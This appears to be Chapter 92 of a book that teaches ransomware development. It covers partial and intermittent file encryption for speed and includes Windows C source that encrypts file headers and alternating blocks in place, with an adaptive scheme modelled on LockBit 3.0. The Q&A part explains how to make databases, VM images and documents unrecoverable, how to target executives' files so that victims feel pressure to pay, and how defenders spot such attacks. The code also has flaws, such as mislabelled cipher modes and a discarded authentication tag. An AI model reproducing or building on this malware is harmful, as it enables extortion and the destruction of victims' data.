Chapter 92

Partial Encryption for Speed

Full encryption of every file byte is slow. A ransomware strain that takes 8 hours to fully encrypt a victim's data is running for 8 hours while defenders have time to detect and stop it. The core insight: you don't need to encrypt the entire file to make it unusable. Encrypt the first 512KB of a 10GB virtual machine disk image and it won't boot. Encrypt every other megabyte of a database file and it becomes corrupt and unreadable. Partial encryption achieves the same operational result — data is inaccessible without the key — at a fraction of the time and I/O load.

Partial Encryption Strategies

Three partial encryption modes — tradeoffs between speed and damage
  STRATEGY 1: Header-Only (first N bytes)
  ─────────────────────────────────────────────────────────────────────────
  Encrypt: first 512KB (or configurable N bytes) of the file
  Leave:   remainder of file unencrypted
  
  Damage model:
    • Most file formats store critical structure at the beginning:
      - Word .docx: ZIP header + [Content_Types].xml (first bytes) → file won't open
      - Excel .xlsx: Same ZIP-based structure
      - PDF: %PDF header + xref table → reader can't parse
      - SQLite: database header (first 100 bytes define schema) → unreadable
      - VMware .vmdk: descriptor and MBR/GPT at start → won't mount
      - NTFS .vhd: Volume Boot Record at offset 0 → won't mount
    
  Speed: Fastest. For a 100GB VMDK, encrypt only 512KB = 1000x speedup
  Risk: Some files have their structure distributed throughout (some database
        formats, video codecs with header at end, etc.)
  
  STRATEGY 2: Intermittent Block Encryption
  ─────────────────────────────────────────────────────────────────────────
  Encrypt: every other N-byte block (e.g., even blocks)
  Leave:   odd blocks unencrypted
  
  Damage model:
    • Every 1MB-block alternates between encrypted and plaintext
    • The file's overall structure is destroyed
    • No format can tolerate 50% of its data being randomly corrupted
    • More thorough than header-only for complex file formats
  
  Speed: Medium. 50% of file data processed.
  
  STRATEGY 3: Percentage-Based
  ─────────────────────────────────────────────────────────────────────────
  Encrypt: first 20% of the file (or middle section, or distributed samples)
  Leave:   remaining 80% unencrypted
  
  Tunable based on file type: encrypt 50% of .sql files (they're the most
  critical), encrypt 10% of large media files (less critical, huge size).
  
  LockBit 3.0 approach:
    Files < 4MB:  encrypt entirely
    Files 4-256MB: encrypt a configurable subset of blocks
    Files > 256MB: encrypt only specific intervals
  
  This balances: maximum damage to small files (where full encrypt is fast)
  with speed over large files (partial encrypt keeps it manageable)

Partial Encryption Implementation

/* partial_encrypt.c — Header-only and intermittent block encryption */

#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

#define HEADER_ENCRYPT_SIZE (512 * 1024)  /* 512KB header encryption */
#define BLOCK_SIZE          (1024 * 1024) /* 1MB blocks for intermittent mode */

/* Encrypt only the first HEADER_ENCRYPT_SIZE bytes of a file */
BOOL encrypt_file_header_only(const WCHAR *path,
                                const BYTE *aes_key, const BYTE *nonce) {
    HANDLE hFile = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD64 file_size = 0;
    { DWORD high = 0; DWORD low = GetFileSize(hFile, &high);
      file_size = ((DWORD64)high << 32) | low; }

    /* Determine how much to encrypt */
    DWORD encrypt_len = (DWORD)min(file_size, HEADER_ENCRYPT_SIZE);
    if (encrypt_len == 0) { CloseHandle(hFile); return FALSE; }

    /* Read header bytes */
    BYTE *header = (BYTE*)VirtualAlloc(NULL, encrypt_len,
                                        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    DWORD read_bytes = 0;
    ReadFile(hFile, header, encrypt_len, &read_bytes, NULL);

    /* AES-256-GCM encrypt the header */
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (BYTE*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
    DWORD obj_sz = 0, dummy = 0;
    BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&obj_sz, 4, &dummy, 0);
    BYTE *key_obj = (BYTE*)alloca(obj_sz);
    BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, obj_sz, (BYTE*)aes_key, 32, 0);

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth = {0};
    BCRYPT_INIT_AUTH_MODE_INFO(auth);
    BYTE auth_tag[16] = {0};
    auth.pbNonce = (BYTE*)nonce; auth.cbNonce = 12;
    auth.pbTag   = auth_tag;    auth.cbTag   = 16;

    BYTE *ciphertext = (BYTE*)VirtualAlloc(NULL, encrypt_len + 32,
                                            MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    DWORD ct_written = 0;
    BCryptEncrypt(hKey, header, encrypt_len, &auth, NULL, 0,
                  ciphertext, encrypt_len + 32, &ct_written, 0);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    SecureZeroMemory(header, encrypt_len);
    VirtualFree(header, 0, MEM_RELEASE);

    /* Write encrypted header back to beginning of file */
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    DWORD written = 0;
    WriteFile(hFile, ciphertext, ct_written, &written, NULL);

    /* Append the auth tag and metadata after the encrypted header */
    /* Store at a known offset so decryptor can find it */
    /* (In production: append to .rnsom_key blob) */

    VirtualFree(ciphertext, 0, MEM_RELEASE);
    FlushFileBuffers(hFile);
    CloseHandle(hFile);
    return TRUE;
}

/* Intermittent block encryption: encrypt even blocks, leave odd blocks */
BOOL encrypt_file_intermittent(const WCHAR *path,
                                 const BYTE *aes_key) {
    HANDLE hFile = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_FLAG_SEQUENTIAL_SCAN, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD64 file_size = 0;
    { DWORD high = 0; DWORD low = GetFileSize(hFile, &high);
      file_size = ((DWORD64)high << 32) | low; }

    BYTE *block = (BYTE*)VirtualAlloc(NULL, BLOCK_SIZE,
                                       MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    BOOL encrypt_this_block = TRUE;  /* Even blocks = encrypt, odd = skip */
    DWORD64 offset = 0;
    DWORD block_index = 0;

    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    /* Use CTR mode for streaming: no padding, arbitrary block sizes */
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (BYTE*)BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
    DWORD obj_sz = 0, dummy = 0;
    BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&obj_sz, 4, &dummy, 0);
    BYTE *key_obj = (BYTE*)alloca(obj_sz);
    
    /* Each block uses a derived IV: IV = hash(aes_key || block_index) */
    while (offset < file_size) {
        DWORD to_read = (DWORD)min(BLOCK_SIZE, file_size - offset);
        DWORD read_bytes = 0;
        ReadFile(hFile, block, to_read, &read_bytes, NULL);
        
        if (encrypt_this_block) {
            /* Derive per-block IV from block index */
            BYTE iv[16] = {0};
            *(DWORD*)iv = block_index;  /* Simple: IV includes block index */
            
            BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, obj_sz,
                                        (BYTE*)aes_key, 32, 0);
            BYTE *ct = (BYTE*)alloca(read_bytes + 16);
            DWORD ct_len = 0;
            BCryptEncrypt(hKey, block, read_bytes, NULL, iv, sizeof(iv),
                          ct, read_bytes + 16, &ct_len, 0);
            BCryptDestroyKey(hKey); hKey = NULL;

            /* Seek back and overwrite with ciphertext */
            LONG hi = (LONG)(offset >> 32);
            SetFilePointer(hFile, (LONG)(offset & 0xFFFFFFFF), &hi, FILE_BEGIN);
            DWORD w; WriteFile(hFile, ct, ct_len, &w, NULL);
        }

        offset += to_read;
        block_index++;
        encrypt_this_block = !encrypt_this_block;  /* Alternate */
    }

    VirtualFree(block, 0, MEM_RELEASE);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    FlushFileBuffers(hFile);
    CloseHandle(hFile);
    return TRUE;
}

/* Choose encryption strategy based on file size */
BOOL encrypt_file_adaptive(const WCHAR *path, DWORD64 file_size,
                             const BYTE *aes_key, const BYTE *nonce) {
    if (file_size < 4 * 1024 * 1024) {
        /* Small files: full encryption (fast anyway) */
        return encrypt_file(path, NULL, NULL);  /* Full encrypt from Ch90 */
    } else if (file_size < 256 * 1024 * 1024) {
        /* Medium files: header + 20% of file */
        return encrypt_file_header_only(path, aes_key, nonce);
    } else {
        /* Large files (VMs, databases): intermittent block */
        return encrypt_file_intermittent(path, aes_key);
    }
}

Speed Comparison

Encryption time for 1TB of data across strategies
  Assumptions: 8 threads, NVMe SSD at 3GB/s, AES-NI hardware acceleration
  Data set: 1TB total (mix of small documents + large VM files)
  
  STRATEGY: Full encryption of all files
  ─────────────────────────────────────────────────────────────────────────
  AES-256-GCM throughput: ~2.5 GB/s with hardware acceleration (8 cores)
  Total time: 1024 GB / 2.5 GB/s = 409 seconds = ~7 minutes
  
  But I/O bound on spinning disk (150 MB/s sequential):
  Total time: 1024 GB / 0.15 GB/s = 6827 seconds = ~114 minutes (2 hours)
  
  With NVMe: 7 minutes. With HDD: 2 hours.
  
  STRATEGY: Header-only (512KB per file) for large files
  ─────────────────────────────────────────────────────────────────────────
  Assume 80% of data is in files >4MB: 800GB large files, 200GB small
  Large files: encrypt only 512KB each. If 8000 large files (avg 100MB):
    8000 × 512KB = 4GB to encrypt (instead of 800GB)
    4 GB / 2.5 GB/s = 1.6 seconds
  Small files (200GB, fully encrypted): 80 seconds
  Total: ~82 seconds on NVMe ← 5x faster than full encrypt
         vs. ~15 minutes on HDD (limited by seek overhead, not encryption speed)
  
  STRATEGY: Intermittent block encryption
  ─────────────────────────────────────────────────────────────────────────
  50% of data encrypted: 512GB instead of 1024GB
  NVMe: 512 / 2.5 = 205 seconds = ~3.4 minutes
  HDD: 512 / 0.15 = 3413 seconds = ~57 minutes
  
  VERDICT: Header-only for large files + full encrypt for small files
  is the optimal strategy:
    Maximum damage (small files fully broken, large files unrecoverable)
    Maximum speed (orders of magnitude faster than full encrypt for large files)
    LockBit 3.0 uses exactly this adaptive strategy

Questions & Answers

How much of a file must be encrypted to make it unrecoverable for common file types?

It varies dramatically by file format: ZIP-based formats (.docx, .xlsx, .pptx, .odt): the central directory is at the END of the file (ZIP specification). The main content is at the BEGINNING. Encrypt the first 512KB: all files under 512KB are fully encrypted; files over 512KB have their content scrambled (the actual text/data). The ZIP end-of-central-directory signature (50 4B 05 06) survives, but the file entries pointing into the encrypted area can't be read. Unrecoverable? Yes for normal users. A forensics expert might recover some data from the unencrypted tail sections. SQLite databases: the first 100 bytes contain the database header (magic bytes, page size, encoding, schema version). Overwrite these 100 bytes with ciphertext and the entire database file is unreadable. The schema is also in page 1 (first 4KB), so encrypting first 4KB makes recovery extremely difficult. NTFS-formatted VHD/VMDK files: the Volume Boot Record (VBR) is at sector 0 (first 512 bytes). $MFT (master file table) begins at cluster 0 (first few MB of data area). Encrypt the first 1MB: VBR is gone, MFT is scrambled. The NTFS volume cannot be mounted and the file system structure is destroyed. Video/audio files (.mp4, .mp3): these have headers at the beginning that define codec, container structure, and seek tables. Encrypt first 64KB: the player can't initialize the codec. The raw video data in the middle may survive, but without the container header, players can't play it.

Does partial encryption affect the GCM authentication integrity guarantees?

Yes — and this is an important design consideration. AES-256-GCM in standard mode: the authentication tag covers the ENTIRE ciphertext. If any byte of the ciphertext is modified, the tag fails verification and decryption is refused. With partial encryption: only the encrypted portion (header) is covered by the GCM tag. The unencrypted remainder of the file could be modified without the GCM tag detecting it. For ransomware purposes, this is usually acceptable — we don't need the auth tag to protect the unencrypted portion (we know it's unencrypted). But the decryptor must know the exact byte range that was encrypted so it decrypts only that range and then prepends it back to the unencrypted tail. The .rnsom_key blob must record: the encryption start offset (always 0) and the encryption end offset (e.g., 524288 for 512KB). The decryptor reads this from the key blob, decrypts exactly those bytes, writes them back to the file, and leaves the rest untouched. If the key blob says "512KB encrypted" but the file is only 400KB, the decryptor must handle that case (full encryption happened for that file).

Can defenders detect partial encryption patterns and stop the attack early?

Partial encryption produces distinctive filesystem I/O patterns: for header-only encryption, each file is opened, the first 512KB are read, the file pointer returns to 0, 512KB of different bytes are written, and the file is closed. This open→partial-read→seek-to-start→partial-write pattern repeated across thousands of files per second is highly anomalous. EDR behavioral models specifically look for this: "process modified the first portion of many files in rapid succession" is a ransomware detection heuristic. Canary files (honeypot files placed in directories) serve as early detection: a canary file named "_AAA_CANARY_DO_NOT_DELETE.docx" placed in every directory alerts when it's modified. Ransomware alphabetically enumerates and will hit the canary file early (especially with the "A" naming scheme), triggering the alert before most files are encrypted. The more sophisticated defense: AI-based I/O behavior models that detect the specific throughput pattern (disk write rate suddenly 20x normal across a broad file set) and trigger automatic process termination. Microsoft Defender ATP's "controlled folder access" blocks unauthorized write access to protected folders — ransomware must first disable this (which itself is a detection signal).

What's the minimum viable encryption to guarantee the victim can't restore without paying?

The minimum viable encryption depends on the victim's backup situation: (1) If the victim has no backups (or backups are also encrypted): any amount of corruption that makes files unreadable is sufficient. Even 4 bytes corrupted at offset 0 of a Word document breaks it. But "4 bytes corrupted" sounds minimal and the victim might try file repair tools. (2) If the victim has backups: the ransomware must also delete/encrypt backups (Ch94 — VSS deletion, backup destruction). If shadow copies and backups are destroyed, then file encryption just needs to be thorough enough that the victim can't recover from memory (no deleted-file recovery, no partial plaintext recovery). (3) The psychological damage element: partial encryption of the right files (financial data, critical documents, email archives) creates maximum panic and payment motivation. Encrypt the CEO's email PST file and the CFO's financial spreadsheet directory and they know immediately what they've lost. Starting with visible, high-value directories creates the psychological impact needed for payment motivation, which is ultimately the goal.

How does intermittent block encryption compare to header-only for database files specifically?

Database files require special consideration because their structure spans the entire file, not just the header. SQL Server .mdf files: the first 8KB is the header page (database ID, version, etc.), but actual data pages (8KB each) are interspersed throughout. A 50GB database has millions of 8KB pages. Header-only: encrypting the first 512KB damages 64 pages (header pages + some system pages). SQL Server can't open the database because the header is corrupt. However, a skilled DBA with database recovery tools might be able to reconstruct some data by reading unencrypted pages directly. Intermittent block encryption: encrypting every other 1MB block damages roughly half of all data pages throughout the file. Even if the file header is reconstructed, 50% of data pages contain garbage — the database is unrecoverable without the key. For databases specifically: intermittent block encryption at a small block size (512KB or smaller) is the superior strategy. It creates corruption throughout the file that no recovery tool can fix without the actual encryption key. For VM disk images: header-only is sufficient because the boot sector and partition table are at the start — corrupting that makes the entire VM unbootable regardless of the data content.